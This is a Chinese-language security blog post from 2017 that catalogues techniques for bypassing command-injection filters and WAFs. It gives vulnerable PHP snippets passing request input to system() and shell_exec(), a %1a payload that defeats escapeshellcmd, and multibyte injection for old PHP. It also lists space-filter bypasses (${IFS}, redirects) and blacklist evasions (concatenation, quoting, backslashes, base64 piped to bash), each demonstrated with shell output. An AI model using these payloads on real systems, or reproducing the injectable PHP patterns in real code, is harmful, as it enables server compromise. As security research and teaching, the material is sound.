Chybeta

命令执行的一些绕过技巧

命令执行的一些绕过技巧
已收录至: WAF-Bypass

多条命令

法一: 逻辑运算符

绕过escapeshellcmd

法一:win下执行bat

1
2
3
4
5
6
7
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。
payload:

1
dir=../ %1a whoami

法二:宽字节注入

php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。

1
escapeshellcmd("echo ".chr(0xc0).";id");

之后该语句会变成

1
echo 繺;id

从而实现 id 命令的注入。

空格过滤

法一: ${IFS}

payload1:

1
2
3
4
ubuntu@VM-207-93-ubuntu:~$ cat flag
nice day
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}flag
nice day

payload2:

1
2
ubuntu@VM-207-93-ubuntu:~$ cat${IFS}$9flag
nice day

payload3:

1
2
ubuntu@VM-207-93-ubuntu:~$ cat$IFS$9flag
nice day

法二: 重定向符<>

payload1:

1
2
ubuntu@VM-207-93-ubuntu:~$ cat<>flag
nice day

payload2:

1
2
ubuntu@VM-207-93-ubuntu:~$ cat<flag
nice day

黑名单绕过

法一: 拼接

1
2
ubuntu@VM-207-93-ubuntu:~$ a=c;b=at;c=flag;$a$b $c
nice day

法二: 利用已存在的资源

从已有的文件或者环境变量中获得相应的字符。

法三: base64编码

payload1:

1
2
ubuntu@VM-207-93-ubuntu:~$ `echo "Y2F0IGZsYWc="|base64 -d`
nice day

payload2:

1
2
ubuntu@VM-207-93-ubuntu:~$ echo "Y2F0IGZsYWc="|base64 -d|bash
nice day

法四: 单引号、双引号

payload1:

1
2
ubuntu@VM-207-93-ubuntu:~$ c""at flag
nice day

payload2:

1
2
ubuntu@VM-207-93-ubuntu:~$ c""at fl""ag
nice day

payload3:

1
2
ubuntu@VM-207-93-ubuntu:~$ c""at fl''ag
nice day

法五:反斜线 \

payload:

1
2
ubuntu@VM-207-93-ubuntu:~$ c\at fl\ag
nice day

无回显

长度限制

1
2
3
4
5
<?php
if(strlen($_GET[test])<8){
echo shell_exec($_GET[test]);
}
?>

文件构造

payload1:

1
a>wget

payload2:

1
1>wget

payload3:

1
>wget

将会创建一个名字为wget的空文件。payload1会报错,payload2不会报错。.

LINUX下一些已有字符

  • ${PS2} 对应字符 ‘>’
  • ${PS4} 对应字符 ‘+’
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串

工具

Refference

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:命令执行的一些绕过技巧

文章作者:chybeta

发布时间:2017年08月15日 - 19:08

最后更新:2017年08月18日 - 19:08

原始链接:http://chybeta.github.io/2017/08/15/命令执行的一些绕过技巧/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。